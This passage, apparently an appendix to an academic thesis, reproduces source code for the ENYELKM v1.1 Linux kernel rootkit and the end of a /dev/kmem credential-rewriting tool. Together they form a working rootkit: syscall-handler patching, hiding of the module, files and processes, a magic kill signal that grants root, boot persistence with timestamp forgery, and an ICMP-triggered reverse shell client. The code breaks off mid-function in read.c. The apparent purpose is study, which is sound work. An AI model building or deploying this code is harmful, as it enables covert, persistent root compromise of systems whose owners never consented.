      case 'f': 
 fflag++; 
 if(optarg) fsuid = atoi(optarg); 
 break; 
  
      case 'A': 
 Gflag++, Eflag++, Sflag++, Fflag++; 
 if(optarg) gid = egid = sgid = fsgid = atoi(optarg); 
 break; 
  
      case 'G': 
 Gflag++; 
 if(optarg) gid = atoi(optarg); 
 break; 
  
      case 'E': 
 Eflag++; 
 if(optarg) egid = atoi(optarg); 
 break; 
  
      case 'S': 
 Sflag++; 
 if(optarg) sgid = atoi(optarg); 
 break; 
  
      case 'F': 
 Fflag++; 
 if(optarg) fsgid = atoi(optarg); 
 break; 
  
      default: 
 usage(argv[0]); 
    } 
     
    if((uflag || eflag || sflag || fflag || 
 Gflag || Eflag || Sflag || Fflag) == lflag) 
 usage(argv[0]); 
     
    argc -= optind; 
    if(argc <= 0) fprintf(stderr, "No pid specified\n"); 
    if(argc <= 0 || argc > 1) usage(argv[0]); 
     
    if(!(pid = atoi(argv[optind]))) 
    { 
 fprintf(stderr, "Invalid pid specified\n"); 
 usage(argv[0]); 
    } 
     
    if( (ksyms_fp = fopen("/proc/ksyms", "r")) == NULL) 
 die("Can't fopen /proc/ksyms"); 
     
    while(fgets(buf, sizeof(buf), ksyms_fp))  
    { 
 if(!strstr(buf, "kstat")) 
     continue; 
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 if( (p = strchr(buf, ' ')) == NULL) 
 { 
     fprintf(stderr, "Error in /proc/ksyms\n"); 
     exit(-1); 
 } 
  
 *p = '\0'; 
 if( (kstat_addr = strtoul(buf, NULL, 16)) == 0) 
 { 
     fprintf(stderr, "%s isn't a hex number\n", buf); 
     exit(-1); 
 } 
  
 break; 
    } 
     
    fclose(ksyms_fp); 
     
    if(!kstat_addr) 
    { 
 fprintf(stderr, "kstat not found in /proc/ksyms\n"); 
 exit(-1); 
    } 
     
    if( (kmem_fd = open("/dev/kmem", O_RDWR)) == -1) 
 die("Can't open /dev/kmem"); 
     
    if(lseek(kmem_fd, 
      kstat_addr - (PIDHASH_SZ - 1) * sizeof(struct task_struct 
*), 
      SEEK_SET) == -1) 
 die("lseek"); 
     
    if(read(kmem_fd, 
     &task_addr, 
     sizeof(struct task_struct *)) == -1) 
 die("read"); 
     
    if(lseek(kmem_fd, 
      (off_t)task_addr, 
      SEEK_SET) == -1) 
 die("lseek"); 
     
    if(read(kmem_fd, 
     &task, 
     sizeof(struct task_struct)) == -1) 
 die("read"); 
     
    if(task.pid != 1) 
    { 
 fprintf(stderr, 
  "Init pid not found (this could be a program error)\n"); 
 exit(-1); 
    } 
  
    do { 
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 task_addr = (unsigned long) task.next_task; 
 if(lseek(kmem_fd, 
   (off_t)task_addr, 
   SEEK_SET) == -1) 
     die("lseek"); 
  
 if(read(kmem_fd, &task, sizeof(struct task_struct)) == -1) 
     die("read"); 
  
 if(task.pid == pid) 
     break; 
    } while(task.pid != 1); 
     
    if(task.pid != pid) 
    { 
 fprintf(stderr, "Pid %d not found\n", pid); 
 exit(-1); 
    } 
     
    if(!lflag) 
    { 
 if(uflag) task.uid = uid; 
 if(eflag) task.euid = euid; 
 if(sflag) task.suid = suid; 
 if(fflag) task.fsuid = fsuid; 
 if(Gflag) task.gid = gid; 
 if(Eflag) task.egid = egid; 
 if(Sflag) task.sgid = sgid; 
 if(Fflag) task.fsgid = fsgid; 
  
 if(lseek(kmem_fd, 
   (off_t)task_addr + (off_t)&task.uid - (off_t)&task, 
   SEEK_SET) == -1) 
     die("lseek"); 
  
 if(write(kmem_fd, 
   &task.uid, 
   4 * sizeof(uid_t) + 4 * sizeof(gid_t)) == -1) 
     die("write"); 
    } 
     
    close(kmem_fd); 
    printf("Id's for pid %d are now:\n" 
    "uid\t= %d\n" 
    "euid\t= %d\n" 
    "suid\t= %d\n" 
    "fsuid\t= %d\n" 
    "gid\t= %d\n" 
    "egid\t= %d\n" 
    "sgid\t= %d\n" 
    "fsgid\t= %d\n", 
    pid, 
    task.uid, task.euid, task.suid, task.fsuid, 
    task.gid, task.egid, task.sgid, task.fsgid); 
     
    exit(0); 
} 
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APPENDIX D 

SOURCE CODE LISTING FOR ENYE 1.1 

(Referenced in Chapter VII) 

D.1:  DESCRIPTION.txt 
 
ENYELKM is a LKM Rootkit for Linux x86 with kernels v2.6.x. 
 
It puts salts inside system_call and sysenter_entry handlers. So 
it does not modify sys_call_table, or IDT content. 
 
More information in README.txt. 
 
D.2:  Makefile 
 
obj-m += enyelkm.o 
enyelkm-objs := base.o kill.o ls.o read.o remoto.o 
DELKOS = base.ko kill.ko ls.ko read.ko remoto.ko 
S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8` 
D_FORK = 0x`grep do_fork /proc/kallsyms | head -c 8` 
VERSION = v1.1 
CC = gcc 
 
all: 
 @echo 
 @echo "-----------------------------------------" 
 @echo " ENYELKM $(VERSION) by RaiSe" 
 @echo " raise@enye-sec.org | www.enye-sec.org" 
 @echo "-----------------------------------------" 
 @echo 
 @echo "#define DSYSENTER $(S_ENT)" > data.h 
 @echo "#define DOFORK $(D_FORK)" >> data.h 
 make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) 
modules 
 $(CC) connect.c -o connect -Wall 
 @rm -f $(DELKOS) 
 
connect: 
 @echo 
 @echo "-----------------------------------------" 
 @echo " ENYELKM $(VERSION) by RaiSe" 
 @echo " raise@enye-sec.org | www.enye-sec.org" 
 @echo "-----------------------------------------" 
 @echo 
 $(CC) connect.c -o connect -Wall 
 @echo 
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install: 
 @echo 
 @echo "-----------------------------------------" 
 @echo " ENYELKM $(VERSION) by RaiSe" 
 @echo " raise@enye-sec.org | www.enye-sec.org" 
 @echo "-----------------------------------------" 
 @echo 
 @cp -f enyelkm.ko /etc/.enyelkmHIDE^IT.ko 
 @chattr +i /etc/.enyelkmHIDE^IT.ko > /dev/null 2> /dev/null 
 @echo -e "#<HIDE_8762>\ninsmod /etc/.enyelkmHIDE^IT.ko" \ 
  \ " > /dev/null 2> /dev/null\n#</HIDE_8762>" \ 
  \ >> /etc/rc.d/rc.sysinit 
 @touch -r /etc/rc.d/rc /etc/rc.d/rc.sysinit > /dev/null 2> 
/dev/null 
 @insmod /etc/.enyelkmHIDE^IT.ko 
 @echo + enyelkm.ko copy to /etc/.enyelkmHIDE^IT.ko 
 @echo + autoload hidden string installed on /etc/rc.d/rc.sysinit 
 @echo + enyelkm loaded ! 
 @echo  
 
clean: 
 @echo 
 @echo "-----------------------------------------" 
 @echo " ENYELKM $(VERSION) by RaiSe" 
 @echo " raise@enye-sec.org | www.enye-sec.org" 
 @echo "-----------------------------------------" 
 @echo 
 @rm -rf *.o *.ko *.mod.c .*.cmd data.h connect .tmp_versions 
 make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean 
 
D.3:  README.txt 
 
----------------------------------- 
   ENYELKM v1.1  |  by RaiSe 
   Linux Rootkit x86 kernel v2.6.x 
   < raise@enye-sec.org > 
   < http://www.enye-sec.org > 
 ----------------------------------- 
 
 
 Tested on kernels:  + v2.6.3  + v2.6.14  + v2.6.11-1.1369_FC4 
 
 
 Compile: 
 
   # make 
 
 Install: 
 
   # make install 
 
 Compile only reverse_shell connect utility: 
 
   # make connect 
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 * Make install does: 
 
 - Copy enyelkm.ko file to '/etc/.enyelkmHIDE^IT.ko', so when LKM 
 is loaded that file will be hidden.  
 
 - Add the string 'insmod /etc/.enyelkmHIDE^IT.ko' between the marks 
 #<HIDE_8762> and #</HIDE_8762> to /etc/rc.d/rc.sysinit file. So 
 when LKM is loaded these lines will be hidden (it is explained after). 
 
 - Load LKM with 'insmod /etc/.enyelkmHIDE^IT.ko'. 
 
 - Try modify date of /etc/rc.d/rc.sysinit file with date from 
 /etc/rc.d/rc, and set +i attribute to /etc/.enyelkmHIDE^IT.ko 
 with touch and chattr commands. 
 
 
 * Hide files, directories and processes: 
 
 Every file, directory and process with substring 'HIDE^IT' on 
 his name is hidden. Processes with gid = 0x489196ab are hidden 
 too. Reverse shell (after is explained) run with gid = 0x489196ab, so 
 it and every process launched from it is hidden. 
 
 
 * Hide chunks inside a file: 
 
 Every byte between the marks is hidden: 
 (marks included) 
 
 #<HIDE_8762> 
 text to hide 
 #</HIDE_8762> 
 
 
 * Get local root: 
 
 Doing: # kill -s 58 12345 
 you get id 0. 
 
 
 * Hide module to 'lsmod': 
 
 LKM is auto hidden. 
 
 
 * Hide module to '/sys/module': 
 
 Rename LKM (.ko) to a name with substring HIDE^IT in his name before 
 load it with insmod (as 'make install' do). 
 
 
 * Remote access: 
 
 Use utility 'connect' for it. Run it: './connect 
ip_computer_with_lkm'. It 
 sends a special ICMP, open a port and receive the reverse shell. For 
exit 
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 shell: control+c. The connection is hidden to 'netstat' in computer 
with 
 LKM. 
 
 
 * Uninstall LKM: 
 
 Restart the computer. If you made 'make install', edit 
/etc/rc.d/rc.sysinit 
 with a text editor and save it. The editor will not 'see' the hidden 
lines 
 and it will not save them. After it restart computer. You can test if 
LKM 
 is loaded doing: 'kill -s 58 12345'. 
 
 
 
EOF 
 
D.4:  Base.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
 * < raise@enye-sec.org  
 * http://www.enye-sec.org > 
 */ 
 
#include <linux/types.h> 
#include <linux/stddef.h> 
#include <linux/unistd.h> 
#include <linux/config.h> 
#include <linux/module.h> 
#include <linux/version.h> 
#include <linux/kernel.h> 
#include <linux/string.h> 
#include <linux/mm.h> 
#include <linux/slab.h> 
#include <linux/sched.h> 
#include <linux/in.h> 
#include <linux/skbuff.h> 
#include <linux/netdevice.h> 
#include <linux/dirent.h> 
#include <asm/processor.h> 
#include <asm/uaccess.h> 
#include <asm/unistd.h> 
#include "config.h" 
#include "data.h" 
#include "remoto.h" 
#include "kill.h" 
#include "read.h" 
#include "ls.h" 
 
#define ORIG_EXIT 19 
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#define DIRECALL 42 
#define SALTO 5 
#define SKILL 49 
#define SGETDENTS64 57 
#define SREAD 65 
#define DAFTER_CALL 70 
#define DNRSYSCALLS 10 
 
 
/* punteros a syscalls originales */ 
asmlinkage int (*orig_kill)(pid_t pid, int sig); 
asmlinkage long (*orig_getdents64) 
     (unsigned int fd, struct dirent64 *dirp, unsigned int count); 
 
 
/* variables globales */ 
unsigned long dire_exit, after_call; 
unsigned long dire_call, p_hacked_kill, global_ip; 
unsigned long p_hacked_getdents64, p_hacked_read; 
short read_activo, lanzar_shell; 
void *sysenter_entry; 
void **sys_call_table; 
struct packet_type my_pkt; 
unsigned short global_port; 
int errno; 
 
 
/* prototipos funciones */ 
void *get_system_call(void); 
void *get_sys_call_table(void *system_call); 
void set_idt_handler(void *system_call); 
void set_sysenter_handler(void *sysenter); 
 
 
/* estructuras */ 
struct idt_descriptor 
 { 
 unsigned short off_low; 
 unsigned short sel; 
 unsigned char none, flags; 
 unsigned short off_high; 
 }; 
 
 
/* handler */ 
char idt_handler[]= 
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x3d\x90\x90\x00\x00\x73\x02" 
  "\xeb\x06\x68\x90\x90\x90\x90\xc3\x83\xf8\x25\x74\x12\x3d\xdc\x00" 
  "\x00\x00\x74\x13\x83\xf8\x03\x74\x16\x68\x90\x90\x90\x90\xc3\xff" 
  "\x15\x90\x90\x90\x90\xeb\x0e\xff\x15\x90\x90\x90\x90\xeb\x06\xff" 
  "\x15\x90\x90\x90\x90\x68\x90\x90\x90\x90\xc3"; 
 
 
 
int init_module(void) 
{ 
void *s_call; 
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struct module *m = &__this_module; 
 
/* borramos nuestro modulo de la lista */ 
if (m->init == init_module) 
 list_del(&m->list); 
 
sysenter_entry = (void *) DSYSENTER; 
 
/* NR_syscalls limite */ 
*((short int *) &idt_handler[DNRSYSCALLS]) = (short int) NR_syscalls; 
 
/* variables intermedias a las syscalls hackeadas */ 
p_hacked_kill = (unsigned long) hacked_kill; 
p_hacked_getdents64 = (unsigned long) hacked_getdents64; 
p_hacked_read = (unsigned long) hacked_read; 
 
/* variables de control */ 
lanzar_shell = read_activo = 0; 
global_ip = 0xffffffff; 
 
/* averiguar sys_call_table */ 
s_call = get_system_call(); 
sys_call_table = get_sys_call_table(s_call); 
 
/* punteros a syscalls originales */ 
orig_kill = sys_call_table[__NR_kill]; 
orig_getdents64 = sys_call_table[__NR_getdents64]; 
 
/* modificar los handlers */ 
set_idt_handler(s_call); 
set_sysenter_handler(sysenter_entry); 
 
/* insertamos el nuevo filtro */ 
my_pkt.type=htons(ETH_P_ALL); 
my_pkt.func=capturar; 
dev_add_pack(&my_pkt); 
 
#if DEBUG == 1 
printk("enyelkm loaded!\n"); 
#endif 
 
return(0); 
 
} /*********** fin init_module ***********/ 
 
 
 
void cleanup_module(void) 
{ 
/* dejar terminar procesos que estan 'leyendo' */ 
while (read_activo != 0) 
    schedule(); 
 
#if DEBUG == 1 
printk("enyelkm unloaded!\n"); 
#endif 
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} /*********** fin cleanup_module ************/ 
 
 
 
void *get_system_call(void) 
{ 
unsigned char idtr[6]; 
unsigned long base; 
struct idt_descriptor desc; 
 
asm ("sidt %0" : "=m" (idtr)); 
base = *((unsigned long *) &idtr[2]); 
memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc)); 
 
return((void *) ((desc.off_high << 16) + desc.off_low));  
 
} /*********** fin get_sys_call_table() ***********/ 
 
 
 
void *get_sys_call_table(void *system_call) 
{ 
unsigned char *p; 
unsigned long s_c_t; 
 
p = (unsigned char *) system_call; 
 
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) 
 p++; 
 
dire_call = (unsigned long) p; 
 
p += 3; 
s_c_t = *((unsigned long *) p); 
 
p += 4; 
after_call = (unsigned long) p; 
 
/* cli */ 
while (*p != 0xfa) 
 p++; 
 
dire_exit = (unsigned long) p; 
 
return((void *) s_c_t); 
 
} /********** fin get_sys_call_table() *************/ 
 
 
 
void set_idt_handler(void *system_call) 
{ 
unsigned char *p; 
unsigned long *p2; 
 
p = (unsigned char *) system_call; 
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/* primer salto */ 
while (!((*p == 0x0f) && (*(p+1) == 0x83))) 
    p++; 
 
p -= 5; 
 
*p++ = 0x68; 
p2 = (unsigned long *) p; 
*p2++ = (unsigned long) ((void *) &idt_handler[SALTO]); 
 
p = (unsigned char *) p2; 
*p = 0xc3; 
 
/* syscall_trace_entry salto */ 
while (!((*p == 0x0f) && (*(p+1) == 0x82))) 
    p++; 
 
p -= 5; 
 
*p++ = 0x68; 
p2 = (unsigned long *) p; 
*p2++ = (unsigned long) ((void *) &idt_handler[SALTO]); 
 
p = (unsigned char *) p2; 
*p = 0xc3; 
 
p = idt_handler; 
*((unsigned long *)((void *) p+ORIG_EXIT)) = dire_exit; 
*((unsigned long *)((void *) p+DIRECALL)) = dire_call; 
*((unsigned long *)((void *) p+SKILL)) = (unsigned long) 
&p_hacked_kill; 
*((unsigned long *)((void *) p+SGETDENTS64)) = (unsigned long) 
&p_hacked_getdents64; 
*((unsigned long *)((void *) p+SREAD)) = (unsigned long) 
&p_hacked_read; 
*((unsigned long *)((void *) p+DAFTER_CALL)) = after_call; 
 
} /********** fin set_idt_handler() ***********/ 
 
 
 
void set_sysenter_handler(void *sysenter) 
{ 
unsigned char *p; 
unsigned long *p2; 
 
p = (unsigned char *) sysenter; 
 
/* buscamos call */ 
while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) 
    p++; 
 
/* buscamos el jae syscall_badsys */ 
while (!((*p == 0x0f) && (*(p+1) == 0x83))) 
    p--; 
 
p -= 5; 
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/* metemos el salto */ 
 
*p++ = 0x68; 
p2 = (unsigned long *) p; 
*p2++ = (unsigned long) ((void *) &idt_handler[SALTO]); 
 
p = (unsigned char *) p2; 
*p = 0xc3; 
 
} /************* fin set_sysenter_handler **********/ 
 
 
 
/* Licencia GPL */ 
MODULE_LICENSE("GPL"); 
 
/* EOF */ 
 
D.5:  Config.h 
 
/* 
 * Configuration file 
 */ 
 
/* debug mode */ 
#define DEBUG 0 
 
/* ICMP key */ 
#define ICMP_CLAVE "ENYELKMICMPKEY" 
 
/* key to hide files, directories and processes */ 
#define SHIDE "HIDE^IT" 
 
/* GID magic */ 
#define SGID 0x489196ab 
 
/* home directory of remote shell */ 
#define HOME "/" 
 
D.6:  Connect.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
 * < raise@enye-sec.org 
 * http://www.enye-sec.org > 
 */ 
 
#include <stdio.h> 
#include <stdlib.h> 
#include <netinet/in.h> 
#include <netinet/ip.h> 
#include <netinet/ip_icmp.h> 
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#include <netinet/udp.h> 
#include <netdb.h> 
#include <unistd.h> 
#include <string.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <arpa/inet.h> 
#include "config.h" 
 
 
int enviar_icmp(char *ipdestino, unsigned short puerto); 
 
 
int main(int argc, char *argv[]) 
{ 
struct sockaddr_in dire; 
unsigned short puerto; 
int soc, soc2; 
fd_set s_read; 
unsigned char tmp; 
 
 
if(geteuid()) 
    { 
    printf("\nYou need root level (to use raw sockets).\n\n"); 
    exit(-1); 
    } 
  
if (argc < 2) 
    { 
 printf("\nUtility to connect reverse shell from enyelkm:\n"); 
 printf("\n%s ip_dest [port]\n\n", argv[0]); 
 exit(-1); 
 } 
 
if (argc > 2) 
 puerto = (unsigned short) atoi(argv[2]); 
else 
 puerto = 8822; 
 
 
if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1) 
    { 
    printf("error creating socket.\n"); 
    exit(-1); 
    } 
 
bzero((char *) &dire, sizeof(dire)); 
 
dire.sin_family = AF_INET; 
dire.sin_port = htons(puerto); 
dire.sin_addr.s_addr = htonl(INADDR_ANY); 
 
while(bind(soc, (struct sockaddr *) &dire, sizeof(dire)) == -1) 
 dire.sin_port = htons(++puerto); 
 
listen(soc, 5); 
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printf("\n* Launching reverse_shell:\n\n"); 
fflush(stdout); 
 
enviar_icmp(argv[1], puerto); 
 
printf("Waiting shell on port %d (it may delay some seconds) ...\n", 
(int) puerto); 
fflush(stdout); 
soc2 = accept(soc, NULL, 0); 
printf("launching shell ...\n\n"); 
printf("id\n"); 
fflush(stdout); 
write(soc2, "id\n", 3); 
 
 
while(1) 
    { 
    FD_ZERO(&s_read); 
 FD_SET(0, &s_read); 
    FD_SET(soc2, &s_read); 
 
    select((soc2 > 0 ? soc2+1 : 0+1), &s_read, 0, 0, NULL); 
 
    if (FD_ISSET(0, &s_read)) 
        { 
        if (read(0, &tmp, 1) == 0) 
            break; 
        write(soc2, &tmp, 1); 
        } 
 
    if (FD_ISSET(soc2, &s_read)) 
        { 
        if (read(soc2, &tmp, 1) == 0) 
            break; 
        write(1, &tmp, 1); 
        } 
 
    } /* fin while(1) */ 
 
 
exit(0); 
 
} /***** fin de main() *****/ 
 
 
int enviar_icmp(char *ipdestino, unsigned short puerto) 
{ 
int soc, n, tot; 
long sum; 
unsigned short *p; 
struct sockaddr_in adr; 
unsigned char pqt[4096]; 
struct iphdr *ip = (struct iphdr *) pqt; 
struct icmphdr *icmp = (struct icmphdr *)(pqt + sizeof(struct iphdr)); 
char *data = (char *)(pqt + sizeof(struct iphdr) + sizeof(struct 
icmphdr)); 
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bzero(pqt,4096); 
bzero(&adr, sizeof(adr)); 
strcpy(data, ICMP_CLAVE); 
p = (unsigned short *)((void *)(data + strlen(data))); 
*p = puerto; 
 
tot = sizeof(struct iphdr) + sizeof(struct icmphdr) + 
strlen(ICMP_CLAVE) + sizeof(puerto); 
 
if((soc=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == -1) 
 { 
 perror("error creating socket.\n"); 
 exit(-1); 
 } 
 
adr.sin_family = AF_INET; 
adr.sin_port = 0; 
adr.sin_addr.s_addr = inet_addr(ipdestino); 
 
ip->ihl = 5; 
ip->version = 4; 
ip->id = rand() % 0xffff; 
ip->ttl = 0x40; 
ip->protocol = 1; 
ip->tos = 0; 
ip->tot_len = htons(tot); 
ip->saddr = 0; 
ip->daddr = inet_addr(ipdestino); 
 
icmp->type = ICMP_ECHO; 
icmp->code = 0; 
icmp->un.echo.id = getpid() && 0xffff; 
icmp->un.echo.sequence = 0; 
 
printf("Sending ICMP ...\n"); 
fflush(stdout); 
 
n = sizeof(struct icmphdr) + strlen(ICMP_CLAVE) + sizeof(puerto); 
icmp->checksum = 0; 
sum = 0; 
p = (unsigned short *)(pqt + sizeof(struct iphdr)); 
 
while (n > 1) 
 { 
 sum += *p++; 
 n -= 2; 
 } 
 
if (n == 1) 
 { 
 unsigned char pad = 0; 
 pad = *(unsigned char *)p; 
 sum += (unsigned short) pad; 
 } 
 
sum = ((sum >> 16) + (sum & 0xffff)); 
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icmp-> checksum = (unsigned short) ~sum; 
 
if ((n = (sendto(soc, pqt, tot, 0, (struct sockaddr*) &adr, 
    sizeof(adr)))) == -1) 
 { 
 perror("error sending data.\n"); 
 exit(-1); 
 } 
  
 
return(0); 
 
} /********* fin de enviar_icmp() ********/  
 
 
/* EOF */ 
 
D.7:  Data.h 
 
#define DSYSENTER 0xc0104064 
#define DOFORK 0xc0110f10 
 
D.8:  Enyelkm.mod.c 
 
#include <linux/module.h> 
#include <linux/vermagic.h> 
#include <linux/compiler.h> 
 
MODULE_INFO(vermagic, VERMAGIC_STRING); 
 
#undef unix 
struct module __this_module 
__attribute__((section(".gnu.linkonce.this_module"))) = { 
 .name = __stringify(KBUILD_MODNAME), 
 .init = init_module, 
#ifdef CONFIG_MODULE_UNLOAD 
 .exit = cleanup_module, 
#endif 
}; 
 
static const struct modversion_info ____versions[] 
__attribute_used__ 
__attribute__((section("__versions"))) = { 
 {        0, "cleanup_module" }, 
 {        0, "init_module" }, 
 {        0, "struct_module" }, 
 {        0, "__kmalloc" }, 
 {        0, "__kfree_skb" }, 
 {        0, "simple_strtoul" }, 
 {        0, "sprintf" }, 
 {        0, "__copy_to_user_ll" }, 
 {        0, "vfs_read" }, 
 {        0, "__copy_from_user_ll" }, 
 {        0, "strstr" }, 
 {        0, "fput" }, 
 {        0, "schedule" }, 
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 {        0, "kfree" }, 
 {        0, "memcpy" }, 
 {        0, "dev_add_pack" }, 
 {        0, "memmove" }, 
}; 
 
static const char __module_depends[] 
__attribute_used__ 
__attribute__((section(".modinfo"))) = 
"depends="; 
 
D.9:  Kill.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
 * < raise@enye-sec.org  
 * http://www.enye-sec.org > 
 */ 
 
#include <linux/types.h> 
#include <linux/stddef.h> 
#include <linux/unistd.h> 
#include <linux/config.h> 
#include <linux/module.h> 
#include <linux/version.h> 
#include <linux/kernel.h> 
#include <linux/string.h> 
#include <linux/mm.h> 
#include <linux/slab.h> 
#include <linux/sched.h> 
#include <linux/in.h> 
#include <linux/skbuff.h> 
#include <linux/netdevice.h> 
#include <asm/processor.h> 
#include <asm/uaccess.h> 
#include <asm/unistd.h> 
#include "config.h" 
 
#define SIG 58 
#define PID 12345 
 
 
/* declaraciones externas */ 
extern asmlinkage int (*orig_kill)(pid_t pid, int sig); 
 
 
asmlinkage int hacked_kill(pid_t pid, int sig) 
{ 
struct task_struct *ptr = current; 
int tsig = SIG, tpid = PID, ret_tmp; 
 
 
if ((tpid == pid) && (tsig == sig)) 
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    { 
    ptr->uid = 0; 
    ptr->euid = 0; 
    ptr->gid = 0; 
    ptr->egid = 0; 
    return(0); 
    } 
else 
    { 
    ret_tmp = (*orig_kill)(pid, sig); 
    return(ret_tmp); 
    } 
 
return(-1); 
 
} /********** fin hacked_kill ************/ 
 
 
 
// EOF 
 
D.10:  Kill.h 
 
/* funciones de kill.c */ 
 
asmlinkage int hacked_kill(pid_t pid, int sig); 
 
D.11:  Ls.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
 * < raise@enye-sec.org 
 * http://www.enye-sec.org > 
 */ 
 
#include <linux/types.h> 
#include <linux/stddef.h> 
#include <linux/unistd.h> 
#include <linux/config.h> 
#include <linux/module.h> 
#include <linux/version.h> 
#include <linux/kernel.h> 
#include <linux/string.h> 
#include <linux/mm.h> 
#include <linux/slab.h> 
#include <linux/sched.h> 
#include <linux/in.h> 
#include <linux/skbuff.h> 
#include <linux/netdevice.h> 
#include <linux/dirent.h> 
#include <asm/processor.h> 
#include <asm/uaccess.h> 
#include <asm/unistd.h> 
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#include "config.h" 
 
 
 
/* declaraciones externas */ 
extern asmlinkage long (*orig_getdents64) 
            (unsigned int fd, struct dirent64 *dirp, unsigned int 
count); 
 
 
asmlinkage long hacked_getdents64 
  (unsigned int fd, struct dirent64 *dirp, unsigned int count) 
{ 
struct dirent64 *td1, *td2; 
long ret, tmp; 
unsigned long hpid; 
short int mover_puntero, ocultar_proceso; 
 
 
/* llamamos a la syscall original */ 
ret = (*orig_getdents64) (fd, dirp, count); 
 
/* si vale cero retornamos */ 
if (!ret) 
 return(ret); 
 
 
/* copiamos la lista al kernel space */ 
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL); 
__copy_from_user(td2, dirp, ret); 
 
 
/* inicializamos punteros y contadores */ 
td1 = td2, tmp = ret; 
 
while (tmp > 0) 
 { 
 tmp -= td1->d_reclen; 
 mover_puntero = 1; 
 ocultar_proceso = 0; 
 hpid = 0; 
 
 hpid = simple_strtoul(td1->d_name, NULL, 10); 
 
 /* ocultacion de procesos */ 
 if (hpid != 0) 
  { 
  struct task_struct *htask = current; 
 
  /* buscamos el pid */ 
  do  { 
   if(htask->pid == hpid) 
    break; 
   else 
    htask = next_task(htask); 
   } while (htask != current); 
 

 227



  /* lo ocultamos */ 
  if (((htask->pid == hpid) && (htask->gid == SGID)) || 
   ((htask->pid == hpid) && (strstr(htask->comm, SHIDE) 
!= NULL))) 
   ocultar_proceso = 1; 
        } 
 
 
 /* ocultacion de ficheros/directorios */ 
 if ((ocultar_proceso) || (strstr(td1->d_name, SHIDE) != NULL)) 
  { 
  /* una entrada menos */ 
  ret -= td1->d_reclen; 
 
  /* no moveremos el puntero al siguiente */ 
  mover_puntero = 0; 
 
  if (tmp) 
   /* no es el ultimo */ 
   memmove(td1, (char *) td1 + td1->d_reclen, tmp); 
  } 
 
 if ((tmp) && (mover_puntero)) 
  td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen); 
 
 } /* fin while */ 
 
/* copiamos la lista al user space again */ 
__copy_to_user((void *) dirp, (void *) td2, ret); 
kfree(td2); 
 
return(ret); 
 
} /********** fin hacked_getdents[64] *********/ 
 
 
/* EOF */ 
 
D.12:  Ls.h 
 
/* funciones de ls.c */ 
 
asmlinkage long hacked_getdents64 
     (unsigned int fd, struct dirent64 *dirp, unsigned int count); 
 
D.13:  Read.c 
 
/* 
 * ENYELKM v1.1 
 * Linux Rootkit x86 kernel v2.6.x 
 * 
 * By RaiSe 
 * < raise@enye-sec.org 
 * http://www.enye-sec.org > 
 */ 
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#include <linux/types.h> 
#include <linux/stddef.h> 
#include <linux/unistd.h> 
#include <linux/config.h> 
#include <linux/module.h> 
#include <linux/version.h> 
#include <linux/kernel.h> 
#include <linux/string.h> 
#include <linux/mm.h> 
#include <linux/slab.h> 
#include <linux/sched.h> 
#include <linux/in.h> 
#include <linux/skbuff.h> 
#include <linux/netdevice.h> 
#include <linux/file.h> 
#include <linux/dirent.h> 
#include <asm/processor.h> 
#include <asm/uaccess.h> 
#include <asm/unistd.h> 
#include "remoto.h" 
#include "config.h" 
#include "data.h" 
 
#define SSIZE_MAX 32767 
 
 
/* define marcas */ 
#define MOPEN "#<HIDE_8762>" 
#define MCLOSE "#</HIDE_8762>" 
 
 
/* declaraciones externas */ 
extern short lanzar_shell; 
extern short read_activo; 
extern unsigned long global_ip; 
extern unsigned short global_port; 
 
/* do_fork */ 
long (*my_do_fork)(unsigned long clone_flags, 
  unsigned long stack_start, 
  struct pt_regs *regs, 
  unsigned long stack_size, 
  int __user *parent_tidptr, 
  int __user *child_tidptr) = (void *) DOFORK; 
 
 
 
struct file *e_fget_light(unsigned int fd, int *fput_needed) 
{ 
    struct file *file; 
    struct files_struct *files = current->files; 
 
    *fput_needed = 0; 
    if (likely((atomic_read(&files->count) == 1))) { 
        file = fcheck(fd); 
    } else { 
        spin_lock(&files->file_lock); 
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        file = fcheck(fd); 
        if (file) { 
            get_file(file); 
            *fput_needed = 1; 
        } 
        spin_unlock(&files->file_lock); 
    } 
    return file; 
 
} /*********** fin get_light **********/ 
 
 
 
int checkear(void *arg, int size, struct file *fichero) 
{ 
char *buf; 
 
 
/* si SSIZE_MAX <= size <= 0 retornamos -1 */ 
if ((size <= 0) || (size >= SSIZE_MAX)) 
 return(-1); 
 
/* reservamos memoria para el buffer y copiamos */ 
buf = (char *) kmalloc(size+1, GFP_KERNEL); 
__copy_from_user((void *) buf, (void *) arg, size); 
buf[size] = 0; 
 
/* chequeamos las marcas */ 
if ((strstr(buf, MOPEN) != NULL) && (strstr(buf, MCLOSE) != NULL)) 
 { 
 /* se encontraron las dos, devolvemos 1 */ 
 kfree(buf); 
 return(1); 
 } 
 
/* chequeamos /proc/net/tcp */ 
if ((fichero != NULL) && (fichero->f_dentry != NULL) && 
  (fichero->f_dentry->d_parent != NULL) && 
   (fichero->f_dentry->d_parent->d_parent != NULL)) 
 { 
 /* todo correcto ? */ 
 if((fichero->f_dentry->d_iname == NULL) || 
  (fichero->f_dentry->d_parent->d_iname == NULL) || 
  (fichero->f_dentry->d_parent->d_parent->d_inode == NULL)) 
  { 
  kfree(buf); 
  return(-1); 
  } 
 
 /* /proc/net/tcp ? */ 
 if(!strcmp(fichero->f_dentry->d_iname, "tcp") && 
  !strcmp(fichero->f_dentry->d_parent->d_iname, "net") && 
  (fichero->f_dentry->d_parent->d_parent->d_inode->i_ino == 
1)) 
